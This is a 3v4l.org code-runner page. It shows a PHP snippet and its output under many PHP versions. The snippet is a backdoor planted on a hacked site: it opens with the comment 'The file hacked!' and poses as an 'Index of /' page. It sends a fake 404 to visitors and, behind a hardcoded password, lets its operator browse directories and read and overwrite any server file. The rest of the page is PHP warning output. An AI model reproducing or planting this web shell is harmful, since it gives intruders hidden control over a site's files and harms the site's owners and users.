3v4l.org

run code in 300+ PHP versions simultaneously
<?php //The file hacked! ?> <html> <title>Index of /</title> <?php session_start(); define('PASSWORD', 'MosheBenLulu'); header('Content-Type: text/html; charset=utf-8'); if($_GET['page'] == 'get') { if(isset($_SESSION['utf8-52']) && $_SESSION['utf8-52'] == 'indexed') { ?> <form method="post"> <h1>Index of /<?php echo $_GET['dir']; ?><a href="?page=logout" style="color:white;">LOGOUT</a></h1> <ul> <?php if(!isset($_GET['dir'])) { $handle = opendir('.'); $dir = ""; } else { $handle = opendir($_GET['dir']); $dir = $_GET['dir'].'/'; $dd = explode("/", $dir); $dc = 0; $bb = ""; while($dc < count($dd)-2) { if($bb == "") { $bb = $dd[$dc]; } else { $bb = $bb.'/'.$dd[$dc]; } $dc++; } if($bb == "") { echo "<li><a href='?page=get'>Parent Directory</a></li>"; } else { echo "<li><a href='?page=get&dir={$bb}'>Parent Directory</a></li>"; } } while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $bl = $dir.$entry; if(is_dir($bl)) { echo "<li><a href='?page=get&dir={$dir}{$entry}'>$entry</a></li>"; } else { echo "<li><a href='?page=set&file={$dir}{$entry}'>$entry</a></li>"; } } } closedir($handle); ?> <ul> </form> <?php } else { ?> <form method="post"> <input type="password" name="password" /> <input type="submit" name="submit" /> </form> <?php if(isset($_POST['submit'])) { $password = $_POST['password']; if($password == PASSWORD) { $_SESSION['utf8-52'] = 'indexed'; echo '<script>top.location="";</script>'; } } } } elseif($_GET['page'] == 'set') { $filename = $_GET['file']; ?> <form method="post"> <textarea name="text" rows="50" cols="100"><?php $handle = fopen($filename, "r+"); if(filesize($filename) == 0) { $contents = fread($handle, 1); } else { $contents = fread($handle, filesize($filename)); } echo($contents); ?></textarea><br /> <input type="submit" name="sub1" value="Save" /> <input type="submit" name="sub2" value="Cancel" /> </form> <?php } elseif($_GET['page'] == 'logout') { $_SESSION['utf8-52'] = ""; echo '<script>alert("Logout!");top.location="?";</script>'; } else { header("HTTP/1.1 404 Not Found"); } if(isset($_POST['sub1'])) { $file_handle = fopen($filename, 'w'); fwrite($file_handle, $_POST['text']); fclose($file_handle); echo '<script>alert("Edited!");top.location="?page=get";</script>'; } if(isset($_POST['sub2'])) { $dd = explode("/", $filename); $dc = 0; $bb = ""; while($dc < count($dd)-1) { if($bb == "") { $bb = $dd[$dc]; } else { $bb = $bb.'/'.$dd[$dc]; } $dc++; } if($bb == "") { echo '<script>top.location="?page=get";</script>'; } else { echo '<script>top.location="?page=get&dir='.$bb.'";</script>'; } } ?> </html>
Output for 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
<html> <title>Index of /</title> Warning: session_start(): Session cannot be started after headers have already been sent in /in/pQMUD on line 275 Warning: Cannot modify header information - headers already sent by (output started at /in/pQMUD:2) in /in/pQMUD on line 277 Warning: Undefined array key "page" in /in/pQMUD on line 278 Warning: Undefined array key "page" in /in/pQMUD on line 358 Warning: Undefined array key "page" in /in/pQMUD on line 380 Warning: Cannot modify header information - headers already sent by (output started at /in/pQMUD:2) in /in/pQMUD on line 387 </html>
Output for 7.4.26 - 7.4.33
<html> <title>Index of /</title> Warning: session_start(): Cannot start session when headers already sent in /in/pQMUD on line 275 Warning: Cannot modify header information - headers already sent by (output started at /in/pQMUD:2) in /in/pQMUD on line 277 Notice: Undefined index: page in /in/pQMUD on line 278 Notice: Undefined index: page in /in/pQMUD on line 358 Notice: Undefined index: page in /in/pQMUD on line 380 Warning: Cannot modify header information - headers already sent by (output started at /in/pQMUD:2) in /in/pQMUD on line 387 </html>
Output for 7.2.0 - 7.2.34, 7.3.0 - 7.3.33, 7.4.0 - 7.4.25
<html> <title>Index of /</title> Warning: session_start(): Cannot start session when headers already sent in /in/pQMUD on line 275 Warning: Cannot modify header information - headers already sent by (output started at /in/pQMUD:2) in /in/pQMUD on line 277 Warning: Cannot modify header information - headers already sent by (output started at /in/pQMUD:2) in /in/pQMUD on line 387 </html>
Output for 7.0.18 - 7.0.33, 7.1.4 - 7.1.33
<html> <title>Index of /</title> Warning: session_start(): Cannot send session cookie - headers already sent by (output started at /in/pQMUD:2) in /in/pQMUD on line 275 Warning: session_start(): Cannot send session cache limiter - headers already sent (output started at /in/pQMUD:2) in /in/pQMUD on line 275 Warning: Cannot modify header information - headers already sent by (output started at /in/pQMUD:2) in /in/pQMUD on line 277 Warning: Cannot modify header information - headers already sent by (output started at /in/pQMUD:2) in /in/pQMUD on line 387 </html>
Output for 5.2.3 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.40, 7.0.0 - 7.0.17, 7.1.0 - 7.1.3
<html> <title>Index of /</title> Warning: session_start(): Cannot send session cookie - headers already sent by (output started at /in/pQMUD:274) in /in/pQMUD on line 275 Warning: session_start(): Cannot send session cache limiter - headers already sent (output started at /in/pQMUD:274) in /in/pQMUD on line 275 Warning: Cannot modify header information - headers already sent by (output started at /in/pQMUD:274) in /in/pQMUD on line 277 Warning: Cannot modify header information - headers already sent by (output started at /in/pQMUD:274) in /in/pQMUD on line 387 </html>
Output for 4.4.3 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.2
<html> <title>Index of /</title> <br /> <b>Warning</b>: session_start() [<a href='function.session-start'>function.session-start</a>]: Cannot send session cookie - headers already sent by (output started at /in/pQMUD:274) in <b>/in/pQMUD</b> on line <b>275</b><br /> <br /> <b>Warning</b>: session_start() [<a href='function.session-start'>function.session-start</a>]: Cannot send session cache limiter - headers already sent (output started at /in/pQMUD:274) in <b>/in/pQMUD</b> on line <b>275</b><br /> </html>
Output for 4.3.2 - 4.3.11, 4.4.0 - 4.4.2
<html> <title>Index of /</title> <br /> <b>Warning</b>: session_start(): Cannot send session cookie - headers already sent by (output started at /in/pQMUD:274) in <b>/in/pQMUD</b> on line <b>275</b><br /> <br /> <b>Warning</b>: session_start(): Cannot send session cache limiter - headers already sent (output started at /in/pQMUD:274) in <b>/in/pQMUD</b> on line <b>275</b><br /> </html>
Output for 4.3.0 - 4.3.1
<html> <title>Index of /</title> <br /> <b>Warning</b>: session_start() [<a href='http://www.php.net/function.session-start'>function.session-start</a>]: Cannot send session cookie - headers already sent by (output started at /in/pQMUD:274) in <b>/in/pQMUD</b> on line <b>275</b><br /> <br /> <b>Warning</b>: session_start() [<a href='http://www.php.net/function.session-start'>function.session-start</a>]: Cannot send session cache limiter - headers already sent (output started at /in/pQMUD:274) in <b>/in/pQMUD</b> on line <b>275</b><br /> </html>

preferences:
324.72 ms | 402 KiB | 468 Q